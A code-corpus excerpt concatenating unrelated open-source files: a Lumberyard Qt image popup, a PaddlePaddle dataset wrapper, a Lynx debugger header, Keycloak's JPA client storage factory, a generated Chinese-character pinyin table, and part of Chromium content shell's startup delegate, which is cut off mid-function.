#endif // V8_HEAP_CODE_OBJECT_REGISTRY_H_
| 425 |
303 | <filename>www/draw/metadata/5/5551.json
{"id":5551,"line-1":"Provence-Alpes-Côte d'Azur","line-2":"France","attribution":"©2015 DigitalGlobe","url":"https://www.google.com/maps/@43.269643,6.579352,17z/data=!3m1!1e3"} | 93 |
1,738 | <reponame>jeikabu/lumberyard
/*
* All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
* its licensors.
*
* For complete copyright and license terms please see the LICENSE at the root of this
* distribution (the "License"). All use of this software is governed by the License,
* or, if provided, by the license below or the license accompanying this file. Do not
* remove or modify any license notices. This file is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
#include <ImageProcessing_precompiled.h>
#include "ImagePopup.h"
#include <Source/Editor/ui_ImagePopup.h>
#include <QLabel>
#include <QPixmap>
namespace ImageProcessingEditor
{
ImagePopup::ImagePopup(QImage previewImage, QWidget* parent /*= nullptr*/)
: QDialog(parent, Qt::Dialog | Qt::FramelessWindowHint | Qt::Popup)
, m_ui(new Ui::ImagePopup)
{
m_ui->setupUi(this);
m_previewImage = previewImage;
if (!m_previewImage.isNull())
{
int height = previewImage.height();
int width = previewImage.width();
this->resize(width, height);
m_ui->imageLabel->resize(width, height);
QPixmap pixmap = QPixmap::fromImage(previewImage);
m_ui->imageLabel->setPixmap(pixmap);
this->setFocusPolicy(Qt::FocusPolicy::NoFocus);
this->setModal(false);
}
}
ImagePopup::~ImagePopup()
{
}
}//namespace ImageProcessingEditor
#include <Source/Editor/ImagePopup.moc>
| 618 |
6,852 | <reponame>pcwuyu/PaddleGAN<gh_stars>1000+
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserve.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import paddle
class RepeatDataset(paddle.io.Dataset):
"""A wrapper of repeated dataset.
The length of repeated dataset will be `times` larger than the original
dataset. This is useful when the data loading time is long but the dataset
is small. Using RepeatDataset can reduce the data loading time between
epochs.
Args:
dataset (:obj:`Dataset`): The dataset to be repeated.
times (int): Repeat times.
"""
def __init__(self, dataset, times):
self.dataset = dataset
self.times = times
self._ori_len = len(self.dataset)
def __getitem__(self, idx):
"""Get item at each call.
Args:
idx (int): Index for getting each item.
"""
return self.dataset[idx % self._ori_len]
def __len__(self):
"""Length of the dataset.
Returns:
int: Length of the dataset.
"""
return self.times * self._ori_len
| 572 |
677 | // Copyright 2017 The Lynx Authors. All rights reserved.
#ifndef LYNX_DEBUGGER_DEBUG_CLEINT_H_
#define LYNX_DEBUGGER_DEBUG_CLEINT_H_
#include "debugger/debug_client.h"
#include <string>
#include "debugger/debug_host.h"
#include "debugger/debug_session.h"
#include "third_party/jsoncpp/include/json/json.h"
namespace jscore {
class Runtime;
}
namespace debug {
class DebugClient : public DebugSession::Dispatcher,
public base::RefCountPtr<DebugClient> {
public:
static DebugClient* Debugger();
DebugClient();
void Send(const std::string& command_type, const std::string& content);
void Initialize(DebugHost* host);
virtual void DispatchMessage(
const base::ScopedRefPtr<base::IOBuffer>& data_buffer,
uint64_t size);
private:
void Start(const std::string& address = "127.0.0.1", int port = 9527);
void StartOnDebugThread(const std::string& address, int port);
void SendToDebugThread(const std::string& command_type,
const std::string& content);
void DispatchToUIThread(DebugType type);
Json::Reader reader_;
base::ScopedPtr<base::Thread> ui_thread_;
base::ScopedPtr<base::Thread> debug_thread_;
base::ScopedPtr<DebugSession> session_;
base::ScopedPtr<DebugHost> host_;
};
} // namespace debug
#endif // LYNX_DEBUGGER_DEBUG_CLEINT_H_
| 481 |
12,252 | <gh_stars>1000+
/*
* Copyright 2021 Red Hat, Inc. and/or its affiliates
* and other contributors as indicated by the @author tags.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.keycloak.models.map.storage.jpa.client;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.persistence.EntityManagerFactory;
import javax.sql.DataSource;
import org.hibernate.cfg.AvailableSettings;
import org.jboss.logging.Logger;
import org.keycloak.Config;
import org.keycloak.common.Profile;
import org.keycloak.common.util.StackUtil;
import org.keycloak.common.util.StringPropertyReplacer;
import org.keycloak.component.AmphibianProviderFactory;
import org.keycloak.connections.jpa.util.JpaUtils;
import org.keycloak.models.ClientModel;
import org.keycloak.models.map.storage.jpa.client.entity.JpaClientEntity;
import org.keycloak.models.KeycloakSession;
import org.keycloak.models.KeycloakSessionFactory;
import org.keycloak.models.dblock.DBLockManager;
import org.keycloak.models.dblock.DBLockProvider;
import org.keycloak.models.map.client.MapProtocolMapperEntity;
import org.keycloak.models.map.client.MapProtocolMapperEntityImpl;
import org.keycloak.models.map.common.DeepCloner;
import org.keycloak.models.map.storage.MapStorageProvider;
import org.keycloak.models.map.storage.MapStorageProviderFactory;
import org.keycloak.models.map.storage.jpa.updater.MapJpaUpdaterProvider;
import org.keycloak.models.utils.KeycloakModelUtils;
import org.keycloak.provider.EnvironmentDependentProviderFactory;
public class JpaClientMapStorageProviderFactory implements
AmphibianProviderFactory<MapStorageProvider>,
MapStorageProviderFactory,
EnvironmentDependentProviderFactory {
final static DeepCloner CLONER = new DeepCloner.Builder()
.constructor(JpaClientEntity.class, JpaClientEntity::new)
.constructor(MapProtocolMapperEntity.class, MapProtocolMapperEntityImpl::new)
.build();
public static final String PROVIDER_ID = "jpa-client-map-storage";
private volatile EntityManagerFactory emf;
private static final Logger logger = Logger.getLogger(JpaClientMapStorageProviderFactory.class);
private Config.Scope config;
@Override
public MapStorageProvider create(KeycloakSession session) {
lazyInit(session);
return new JpaClientMapStorageProvider(emf.createEntityManager());
}
@Override
public void init(Config.Scope config) {
this.config = config;
}
@Override
public void postInit(KeycloakSessionFactory factory) {
}
@Override
public String getId() {
return PROVIDER_ID;
}
@Override
public String getHelpText() {
return "JPA Client Map Storage";
}
@Override
public boolean isSupported() {
return Profile.isFeatureEnabled(Profile.Feature.MAP_STORAGE);
}
@Override
public void close() {
if (emf != null) {
emf.close();
}
}
private void lazyInit(KeycloakSession session) {
if (emf == null) {
synchronized (this) {
if (emf == null) {
logger.debugf("Initializing JPA connections%s", StackUtil.getShortStackTrace());
Map<String, Object> properties = new HashMap<>();
String unitName = "keycloak-client-store";
String dataSource = config.get("dataSource");
if (dataSource != null) {
properties.put(AvailableSettings.JPA_NON_JTA_DATASOURCE, dataSource);
} else {
properties.put(AvailableSettings.JPA_JDBC_URL, config.get("url"));
properties.put(AvailableSettings.JPA_JDBC_DRIVER, config.get("driver"));
String user = config.get("user");
if (user != null) {
properties.put(AvailableSettings.JPA_JDBC_USER, user);
}
String password = config.get("password");
if (password != null) {
properties.put(AvailableSettings.JPA_JDBC_PASSWORD, password);
}
}
String schema = config.get("schema");
if (schema != null) {
properties.put(JpaUtils.HIBERNATE_DEFAULT_SCHEMA, schema);
}
properties.put("hibernate.show_sql", config.getBoolean("showSql", false));
properties.put("hibernate.format_sql", config.getBoolean("formatSql", true));
properties.put("hibernate.dialect", config.get("driverDialect"));
Integer isolation = config.getInt("isolation");
if (isolation != null) {
if (isolation < Connection.TRANSACTION_REPEATABLE_READ) {
logger.warn("Concurrent requests may not be reliable with transaction level lower than TRANSACTION_REPEATABLE_READ.");
}
properties.put(AvailableSettings.ISOLATION, String.valueOf(isolation));
} else {
// default value is TRANSACTION_READ_COMMITTED
logger.warn("Concurrent requests may not be reliable with transaction level lower than TRANSACTION_REPEATABLE_READ.");
}
Connection connection = getConnection();
try {
printOperationalInfo(connection);
customChanges(connection, schema, session, session.getProvider(MapJpaUpdaterProvider.class));
logger.trace("Creating EntityManagerFactory");
Collection<ClassLoader> classLoaders = new ArrayList<>();
if (properties.containsKey(AvailableSettings.CLASSLOADERS)) {
classLoaders.addAll((Collection<ClassLoader>) properties.get(AvailableSettings.CLASSLOADERS));
}
classLoaders.add(getClass().getClassLoader());
properties.put(AvailableSettings.CLASSLOADERS, classLoaders);
this.emf = JpaUtils.createEntityManagerFactory(session, unitName, properties, false);
logger.trace("EntityManagerFactory created");
} finally {
// Close after creating EntityManagerFactory to prevent in-mem databases from closing
if (connection != null) {
try {
connection.close();
} catch (SQLException e) {
logger.warn("Can't close connection", e);
}
}
}
}
}
}
}
private void customChanges(Connection connection, String schema, KeycloakSession session, MapJpaUpdaterProvider updater) {
KeycloakModelUtils.runJobInTransaction(session.getKeycloakSessionFactory(), (KeycloakSession lockSession) -> {
DBLockManager dbLockManager = new DBLockManager(lockSession);
DBLockProvider dbLock2 = dbLockManager.getDBLock();
dbLock2.waitForLock(DBLockProvider.Namespace.DATABASE);
try {
updater.update(ClientModel.class, connection, schema);
} finally {
dbLock2.releaseLock();
}
});
}
private void printOperationalInfo(Connection connection) {
try {
HashMap<String, String> operationalInfo = new LinkedHashMap<>();
DatabaseMetaData md = connection.getMetaData();
operationalInfo.put("databaseUrl", md.getURL());
operationalInfo.put("databaseUser", md.getUserName());
operationalInfo.put("databaseProduct", md.getDatabaseProductName() + " " + md.getDatabaseProductVersion());
operationalInfo.put("databaseDriver", md.getDriverName() + " " + md.getDriverVersion());
logger.infof("Database info: %s", operationalInfo.toString());
} catch (SQLException e) {
logger.warn("Unable to prepare operational info due database exception: " + e.getMessage());
}
}
private Connection getConnection() {
try {
String dataSourceLookup = config.get("dataSource");
if (dataSourceLookup != null) {
DataSource dataSource = (DataSource) new InitialContext().lookup(dataSourceLookup);
return dataSource.getConnection();
} else {
Class.forName(config.get("driver"));
return DriverManager.getConnection(
StringPropertyReplacer.replaceProperties(config.get("url"), System.getProperties()),
config.get("user"),
config.get("password"));
}
} catch (ClassNotFoundException | SQLException | NamingException e) {
throw new RuntimeException("Failed to connect to database", e);
}
}
}
| 4,391 |
1,008 | <gh_stars>1000+
/*
* Copyright (C) 2019 The Turms Project
* https://github.com/turms-im/turms
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Generated Code - Do NOT edit manually
package im.turms.plugin.antispam.character.data;
public final class U60 {
public static final char[][] DATA = {
Common.$68756169, // '怀'(6000) -> "huai"
Common.$746169, // '态'(6001) -> "tai"
Common.$736F6E67, // '怂'(6002) -> "song"
Common.$7775, // '怃'(6003) -> "wu"
Common.$6F75, // '怄'(6004) -> "ou"
Common.$6368616E67, // '怅'(6005) -> "chang"
Common.$636875616E67, // '怆'(6006) -> "chuang"
Common.$6A75, // '怇'(6007) -> "ju"
Common.$7969, // '怈'(6008) -> "yi"
Common.$62616F, // '怉'(6009) -> "bao"
Common.$6368616F, // '怊'(600A) -> "chao"
Common.$6D696E, // '怋'(600B) -> "min"
Common.$706569, // '怌'(600C) -> "pei"
Common.$7A756F, // '怍'(600D) -> "zuo"
Common.$7A656E, // '怎'(600E) -> "zen"
Common.$79616E67, // '怏'(600F) -> "yang"
Common.$6A75, // '怐'(6010) -> "ju"
Common.$62616E, // '怑'(6011) -> "ban"
Common.$6E75, // '怒'(6012) -> "nu"
Common.$6E616F, // '怓'(6013) -> "nao"
Common.$7A68656E67, // '怔'(6014) -> "zheng"
Common.$7061, // '怕'(6015) -> "pa"
Common.$6275, // '怖'(6016) -> "bu"
Common.$746965, // '怗'(6017) -> "tie"
Common.$6875, // '怘'(6018) -> "hu"
Common.$6875, // '怙'(6019) -> "hu"
Common.$6A75, // '怚'(601A) -> "ju"
Common.$6461, // '怛'(601B) -> "da"
Common.$6C69616E, // '怜'(601C) -> "lian"
Common.$7369, // '思'(601D) -> "si"
Common.$63686F75, // '怞'(601E) -> "chou"
Common.$6469, // '怟'(601F) -> "di"
Common.$646169, // '怠'(6020) -> "dai"
Common.$7969, // '怡'(6021) -> "yi"
Common.$7475, // '怢'(6022) -> "tu"
Common.$796F75, // '怣'(6023) -> "you"
Common.$6675, // '怤'(6024) -> "fu"
Common.$6A69, // '急'(6025) -> "ji"
Common.$70656E67, // '怦'(6026) -> "peng"
Common.$78696E67, // '性'(6027) -> "xing"
Common.$7975616E, // '怨'(6028) -> "yuan"
Common.$6E69, // '怩'(6029) -> "ni"
Common.$67756169, // '怪'(602A) -> "guai"
Common.$6675, // '怫'(602B) -> "fu"
Common.$7869, // '怬'(602C) -> "xi"
Common.$6269, // '怭'(602D) -> "bi"
Common.$796F75, // '怮'(602E) -> "you"
Common.$716965, // '怯'(602F) -> "qie"
Common.$7875616E, // '怰'(6030) -> "xuan"
Common.$636F6E67, // '怱'(6031) -> "cong"
Common.$62696E67, // '怲'(6032) -> "bing"
Common.$6875616E67, // '怳'(6033) -> "huang"
Common.$7875, // '怴'(6034) -> "xu"
Common.$636875, // '怵'(6035) -> "chu"
Common.$6269, // '怶'(6036) -> "bi"
Common.$736875, // '怷'(6037) -> "shu"
Common.$7869, // '怸'(6038) -> "xi"
Common.$74616E, // '怹'(6039) -> "tan"
Common.$796F6E67, // '怺'(603A) -> "yong"
Common.$7A6F6E67, // '总'(603B) -> "zong"
Common.$647569, // '怼'(603C) -> "dui"
Common.$6D6F, // '怽'(603D) -> "mo"
Common.$7A6869, // '怾'(603E) -> "zhi"
Common.$7969, // '怿'(603F) -> "yi"
Common.$736869, // '恀'(6040) -> "shi"
Common.$6E656E, // '恁'(6041) -> "nen"
Common.$78756E, // '恂'(6042) -> "xun"
Common.$736869, // '恃'(6043) -> "shi"
Common.$7869, // '恄'(6044) -> "xi"
Common.$6C616F, // '恅'(6045) -> "lao"
Common.$68656E67, // '恆'(6046) -> "heng"
Common.$6B75616E67, // '恇'(6047) -> "kuang"
Common.$6D6F75, // '恈'(6048) -> "mou"
Common.$7A6869, // '恉'(6049) -> "zhi"
Common.$786965, // '恊'(604A) -> "xie"
Common.$6C69616E, // '恋'(604B) -> "lian"
Common.$7469616F, // '恌'(604C) -> "tiao"
Common.$6875616E67, // '恍'(604D) -> "huang"
Common.$646965, // '恎'(604E) -> "die"
Common.$68616F, // '恏'(604F) -> "hao"
Common.$6B6F6E67, // '恐'(6050) -> "kong"
Common.$677569, // '恑'(6051) -> "gui"
Common.$68656E67, // '恒'(6052) -> "heng"
Common.$7869, // '恓'(6053) -> "xi"
Common.$6A69616F, // '恔'(6054) -> "jiao"
Common.$736875, // '恕'(6055) -> "shu"
Common.$7369, // '恖'(6056) -> "si"
Common.$6875, // '恗'(6057) -> "hu"
Common.$716975, // '恘'(6058) -> "qiu"
Common.$79616E67, // '恙'(6059) -> "yang"
Common.$687569, // '恚'(605A) -> "hui"
Common.$687569, // '恛'(605B) -> "hui"
Common.$636869, // '恜'(605C) -> "chi"
Common.$6A6961, // '恝'(605D) -> "jia"
Common.$7969, // '恞'(605E) -> "yi"
Common.$78696F6E67, // '恟'(605F) -> "xiong"
Common.$67756169, // '恠'(6060) -> "guai"
Common.$6C696E, // '恡'(6061) -> "lin"
Common.$687569, // '恢'(6062) -> "hui"
Common.$7A69, // '恣'(6063) -> "zi"
Common.$7875, // '恤'(6064) -> "xu"
Common.$636869, // '恥'(6065) -> "chi"
Common.$7368616E67, // '恦'(6066) -> "shang"
Common.$6E75, // '恧'(6067) -> "nu"
Common.$68656E, // '恨'(6068) -> "hen"
Common.$656E, // '恩'(6069) -> "en"
Common.$6B65, // '恪'(606A) -> "ke"
Common.$646F6E67, // '恫'(606B) -> "dong"
Common.$7469616E, // '恬'(606C) -> "tian"
Common.$676F6E67, // '恭'(606D) -> "gong"
Common.$7175616E, // '恮'(606E) -> "quan"
Common.$7869, // '息'(606F) -> "xi"
Common.$716961, // '恰'(6070) -> "qia"
Common.$797565, // '恱'(6071) -> "yue"
Common.$70656E67, // '恲'(6072) -> "peng"
Common.$6B656E, // '恳'(6073) -> "ken"
Common.$6465, // '恴'(6074) -> "de"
Common.$687569, // '恵'(6075) -> "hui"
Common.$65, // '恶'(6076) -> "e"
Common.$7869616F, // '恷'(6077) -> "xiao"
Common.$746F6E67, // '恸'(6078) -> "tong"
Common.$79616E, // '恹'(6079) -> "yan"
Common.$6B6169, // '恺'(607A) -> "kai"
Common.$6365, // '恻'(607B) -> "ce"
Common.$6E616F, // '恼'(607C) -> "nao"
Common.$79756E, // '恽'(607D) -> "yun"
Common.$6D616E67, // '恾'(607E) -> "mang"
Common.$796F6E67, // '恿'(607F) -> "yong"
Common.$796F6E67, // '悀'(6080) -> "yong"
Common.$7975616E, // '悁'(6081) -> "yuan"
Common.$7069, // '悂'(6082) -> "pi"
Common.$6B756E, // '悃'(6083) -> "kun"
Common.$7169616F, // '悄'(6084) -> "qiao"
Common.$797565, // '悅'(6085) -> "yue"
Common.$7975, // '悆'(6086) -> "yu"
Common.$7475, // '悇'(6087) -> "tu"
Common.$6A6965, // '悈'(6088) -> "jie"
Common.$7869, // '悉'(6089) -> "xi"
Common.$7A6865, // '悊'(608A) -> "zhe"
Common.$6C696E, // '悋'(608B) -> "lin"
Common.$7469, // '悌'(608C) -> "ti"
Common.$68616E, // '悍'(608D) -> "han"
Common.$68616F, // '悎'(608E) -> "hao"
Common.$716965, // '悏'(608F) -> "qie"
Common.$7469, // '悐'(6090) -> "ti"
Common.$6275, // '悑'(6091) -> "bu"
Common.$7969, // '悒'(6092) -> "yi"
Common.$7169616E, // '悓'(6093) -> "qian"
Common.$687569, // '悔'(6094) -> "hui"
Common.$7869, // '悕'(6095) -> "xi"
Common.$626569, // '悖'(6096) -> "bei"
Common.$6D616E, // '悗'(6097) -> "man"
Common.$7969, // '悘'(6098) -> "yi"
Common.$68656E67, // '悙'(6099) -> "heng"
Common.$736F6E67, // '悚'(609A) -> "song"
Common.$7175616E, // '悛'(609B) -> "quan"
Common.$6368656E67, // '悜'(609C) -> "cheng"
Common.$6B7569, // '悝'(609D) -> "kui"
Common.$7775, // '悞'(609E) -> "wu"
Common.$7775, // '悟'(609F) -> "wu"
Common.$796F75, // '悠'(60A0) -> "you"
Common.$6C69, // '悡'(60A1) -> "li"
Common.$6C69616E67, // '悢'(60A2) -> "liang"
Common.$6875616E, // '患'(60A3) -> "huan"
Common.$636F6E67, // '悤'(60A4) -> "cong"
Common.$7969, // '悥'(60A5) -> "yi"
Common.$797565, // '悦'(60A6) -> "yue"
Common.$6C69, // '悧'(60A7) -> "li"
Common.$6E696E, // '您'(60A8) -> "nin"
Common.$6E616F, // '悩'(60A9) -> "nao"
Common.$65, // '悪'(60AA) -> "e"
Common.$717565, // '悫'(60AB) -> "que"
Common.$7875616E, // '悬'(60AC) -> "xuan"
Common.$7169616E, // '悭'(60AD) -> "qian"
Common.$7775, // '悮'(60AE) -> "wu"
Common.$6D696E, // '悯'(60AF) -> "min"
Common.$636F6E67, // '悰'(60B0) -> "cong"
Common.$666569, // '悱'(60B1) -> "fei"
Common.$626569, // '悲'(60B2) -> "bei"
Common.$6465, // '悳'(60B3) -> "de"
Common.$637569, // '悴'(60B4) -> "cui"
Common.$6368616E67, // '悵'(60B5) -> "chang"
Common.$6D656E, // '悶'(60B6) -> "men"
Common.$6C69, // '悷'(60B7) -> "li"
Common.$6A69, // '悸'(60B8) -> "ji"
Common.$6775616E, // '悹'(60B9) -> "guan"
Common.$6775616E, // '悺'(60BA) -> "guan"
Common.$78696E67, // '悻'(60BB) -> "xing"
Common.$64616F, // '悼'(60BC) -> "dao"
Common.$7169, // '悽'(60BD) -> "qi"
Common.$6B6F6E67, // '悾'(60BE) -> "kong"
Common.$7469616E, // '悿'(60BF) -> "tian"
Common.$6C756E, // '惀'(60C0) -> "lun"
Common.$7869, // '惁'(60C1) -> "xi"
Common.$6B616E, // '惂'(60C2) -> "kan"
Common.$67756E, // '惃'(60C3) -> "gun"
Common.$6E69, // '惄'(60C4) -> "ni"
Common.$71696E67, // '情'(60C5) -> "qing"
Common.$63686F75, // '惆'(60C6) -> "chou"
Common.$64756E, // '惇'(60C7) -> "dun"
Common.$67756F, // '惈'(60C8) -> "guo"
Common.$7A68616E, // '惉'(60C9) -> "zhan"
Common.$6A696E67, // '惊'(60CA) -> "jing"
Common.$77616E, // '惋'(60CB) -> "wan"
Common.$7975616E, // '惌'(60CC) -> "yuan"
Common.$6A696E, // '惍'(60CD) -> "jin"
Common.$6A69, // '惎'(60CE) -> "ji"
Common.$6C616E, // '惏'(60CF) -> "lan"
Common.$7975, // '惐'(60D0) -> "yu"
Common.$68756F, // '惑'(60D1) -> "huo"
Common.$6865, // '惒'(60D2) -> "he"
Common.$7175616E, // '惓'(60D3) -> "quan"
Common.$74616E, // '惔'(60D4) -> "tan"
Common.$7469, // '惕'(60D5) -> "ti"
Common.$7469, // '惖'(60D6) -> "ti"
Common.$6E6965, // '惗'(60D7) -> "nie"
Common.$77616E67, // '惘'(60D8) -> "wang"
Common.$6368756F, // '惙'(60D9) -> "chuo"
Common.$6875, // '惚'(60DA) -> "hu"
Common.$68756E, // '惛'(60DB) -> "hun"
Common.$7869, // '惜'(60DC) -> "xi"
Common.$6368616E67, // '惝'(60DD) -> "chang"
Common.$78696E, // '惞'(60DE) -> "xin"
Common.$776569, // '惟'(60DF) -> "wei"
Common.$687569, // '惠'(60E0) -> "hui"
Common.$65, // '惡'(60E1) -> "e"
Common.$73756F, // '惢'(60E2) -> "suo"
Common.$7A6F6E67, // '惣'(60E3) -> "zong"
Common.$6A69616E, // '惤'(60E4) -> "jian"
Common.$796F6E67, // '惥'(60E5) -> "yong"
Common.$6469616E, // '惦'(60E6) -> "dian"
Common.$6A75, // '惧'(60E7) -> "ju"
Common.$63616E, // '惨'(60E8) -> "can"
Common.$6368656E67, // '惩'(60E9) -> "cheng"
Common.$6465, // '惪'(60EA) -> "de"
Common.$626569, // '惫'(60EB) -> "bei"
Common.$716965, // '惬'(60EC) -> "qie"
Common.$63616E, // '惭'(60ED) -> "can"
Common.$64616E, // '惮'(60EE) -> "dan"
Common.$6775616E, // '惯'(60EF) -> "guan"
Common.$64756F, // '惰'(60F0) -> "duo"
Common.$6E616F, // '惱'(60F1) -> "nao"
Common.$79756E, // '惲'(60F2) -> "yun"
Common.$7869616E67, // '想'(60F3) -> "xiang"
Common.$7A687569, // '惴'(60F4) -> "zhui"
Common.$646965, // '惵'(60F5) -> "die"
Common.$6875616E67, // '惶'(60F6) -> "huang"
Common.$6368756E, // '惷'(60F7) -> "chun"
Common.$71696F6E67, // '惸'(60F8) -> "qiong"
Common.$7265, // '惹'(60F9) -> "re"
Common.$78696E67, // '惺'(60FA) -> "xing"
Common.$6365, // '惻'(60FB) -> "ce"
Common.$6269616E, // '惼'(60FC) -> "bian"
Common.$6D696E, // '惽'(60FD) -> "min"
Common.$7A6F6E67, // '惾'(60FE) -> "zong"
Common.$7469, // '惿'(60FF) -> "ti"
};
private U60() {}
}
| 8,620 |
2,151 | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "content/shell/app/shell_main_delegate.h"
#include <iostream>
#include "base/base_switches.h"
#include "base/command_line.h"
#include "base/cpu.h"
#include "base/files/file.h"
#include "base/files/file_path.h"
#include "base/lazy_instance.h"
#include "base/logging.h"
#include "base/path_service.h"
#include "base/trace_event/trace_log.h"
#include "build/build_config.h"
#include "cc/base/switches.h"
#include "components/crash/core/common/crash_key.h"
#include "components/viz/common/switches.h"
#include "content/common/content_constants_internal.h"
#include "content/public/browser/browser_main_runner.h"
#include "content/public/common/content_switches.h"
#include "content/public/common/url_constants.h"
#include "content/public/test/layouttest_support.h"
#include "content/public/test/ppapi_test_utils.h"
#include "content/shell/app/blink_test_platform_support.h"
#include "content/shell/app/shell_crash_reporter_client.h"
#include "content/shell/browser/layout_test/layout_test_browser_main.h"
#include "content/shell/browser/layout_test/layout_test_content_browser_client.h"
#include "content/shell/browser/shell_browser_main.h"
#include "content/shell/browser/shell_content_browser_client.h"
#include "content/shell/common/layout_test/layout_test_content_client.h"
#include "content/shell/common/layout_test/layout_test_switches.h"
#include "content/shell/common/shell_content_client.h"
#include "content/shell/common/shell_switches.h"
#include "content/shell/gpu/shell_content_gpu_client.h"
#include "content/shell/renderer/layout_test/layout_test_content_renderer_client.h"
#include "content/shell/renderer/shell_content_renderer_client.h"
#include "content/shell/utility/shell_content_utility_client.h"
#include "gpu/config/gpu_switches.h"
#include "ipc/ipc_buildflags.h"
#include "media/base/media_switches.h"
#include "net/cookies/cookie_monster.h"
#include "ppapi/buildflags/buildflags.h"
#include "services/network/public/cpp/network_switches.h"
#include "services/service_manager/embedder/switches.h"
#include "ui/base/resource/resource_bundle.h"
#include "ui/base/ui_base_paths.h"
#include "ui/base/ui_base_switches.h"
#include "ui/display/display_switches.h"
#include "ui/gl/gl_implementation.h"
#include "ui/gl/gl_switches.h"
#if BUILDFLAG(IPC_MESSAGE_LOG_ENABLED)
#define IPC_MESSAGE_MACROS_LOG_ENABLED
#include "content/public/common/content_ipc_logging.h"
#define IPC_LOG_TABLE_ADD_ENTRY(msg_id, logger) \
content::RegisterIPCLogger(msg_id, logger)
#include "content/shell/common/shell_messages.h"
#endif
#if defined(OS_ANDROID)
#include "base/android/apk_assets.h"
#include "base/posix/global_descriptors.h"
#include "content/shell/android/shell_descriptors.h"
#endif
#if defined(OS_MACOSX) || defined(OS_WIN)
#include "components/crash/content/app/crashpad.h" // nogncheck
#endif
#if defined(OS_MACOSX)
#include "content/shell/app/paths_mac.h"
#include "content/shell/app/shell_main_delegate_mac.h"
#endif // OS_MACOSX
#if defined(OS_WIN)
#include <windows.h>
#include <initguid.h>
#include "base/logging_win.h"
#include "content/shell/common/v8_breakpad_support_win.h"
#endif
#if defined(OS_POSIX) && !defined(OS_MACOSX)
#include "components/crash/content/app/breakpad_linux.h"
#endif
#if defined(OS_FUCHSIA)
#include "base/base_paths_fuchsia.h"
#endif // OS_FUCHSIA
namespace {
#if !defined(OS_FUCHSIA)
base::LazyInstance<content::ShellCrashReporterClient>::Leaky
g_shell_crash_client = LAZY_INSTANCE_INITIALIZER;
#endif
#if defined(OS_WIN)
// If "Content Shell" doesn't show up in your list of trace providers in
// Sawbuck, add these registry entries to your machine (NOTE the optional
// Wow6432Node key for x64 machines):
// 1. Find: HKLM\SOFTWARE\[Wow6432Node\]Google\Sawbuck\Providers
// 2. Add a subkey with the name "{<KEY>}"
// 3. Add these values:
// "default_flags"=dword:00000001
// "default_level"=dword:00000004
// @="Content Shell"
// {6A3E50A4-7E15-4099-8413-EC94D8C2A4B6}
const GUID kContentShellProviderName = {
0x6a3e50a4, 0x7e15, 0x4099,
{ 0x84, 0x13, 0xec, 0x94, 0xd8, 0xc2, 0xa4, 0xb6 } };
#endif
void InitLogging(const base::CommandLine& command_line) {
base::FilePath log_filename =
command_line.GetSwitchValuePath(switches::kLogFile);
if (log_filename.empty()) {
#if defined(OS_FUCHSIA)
base::PathService::Get(base::DIR_TEMP, &log_filename);
#else
base::PathService::Get(base::DIR_EXE, &log_filename);
#endif
log_filename = log_filename.AppendASCII("content_shell.log");
}
logging::LoggingSettings settings;
settings.logging_dest = logging::LOG_TO_ALL;
settings.log_file = log_filename.value().c_str();
settings.delete_old = logging::DELETE_OLD_LOG_FILE;
logging::InitLogging(settings);
logging::SetLogItems(true /* Process ID */, true /* Thread ID */,
true /* Timestamp */, false /* Tick count */);
}
} // namespace
namespace content {
ShellMainDelegate::ShellMainDelegate(bool is_browsertest)
: is_browsertest_(is_browsertest) {}
ShellMainDelegate::~ShellMainDelegate() {
}
bool ShellMainDelegate::BasicStartupComplete(int* exit_code) {
base::CommandLine& command_line = *base::CommandLine::ForCurrentProcess();
int dummy;
if (!exit_code)
exit_code = &dummy;
#if defined(OS_WIN)
// Enable trace control and transport through event tracing for Windows.
logging::LogEventProvider::Initialize(kContentShellProviderName);
v8_breakpad_support::SetUp();
#endif
#if defined(OS_LINUX)
breakpad::SetFirstChanceExceptionHandler(v8::V8::TryHandleSignal);
#endif
#if defined(OS_MACOSX)
// Needs to happen before InitializeResourceBundle() and before
// BlinkTestPlatformInitialize() are called.
OverrideFrameworkBundlePath();
OverrideChildProcessPath();
OverrideSourceRootPath();
EnsureCorrectResolutionSettings();
#endif // OS_MACOSX
InitLogging(command_line);
if (command_line.HasSwitch(switches::kCheckLayoutTestSysDeps)) {
// If CheckLayoutSystemDeps succeeds, we don't exit early. Instead we
// continue and try to load the fonts in BlinkTestPlatformInitialize
// below, and then try to bring up the rest of the content module.
if (!CheckLayoutSystemDeps()) {
*exit_code = 1;
return true;
}
}
if (command_line.HasSwitch("run-layout-test")) {
std::cerr << std::string(79, '*') << "\n"
<< "* The flag --run-layout-test is obsolete. Please use --"
<< switches::kRunWebTests << " instead. *\n"
<< std::string(79, '*') << "\n";
command_line.AppendSwitch(switches::kRunWebTests);
}
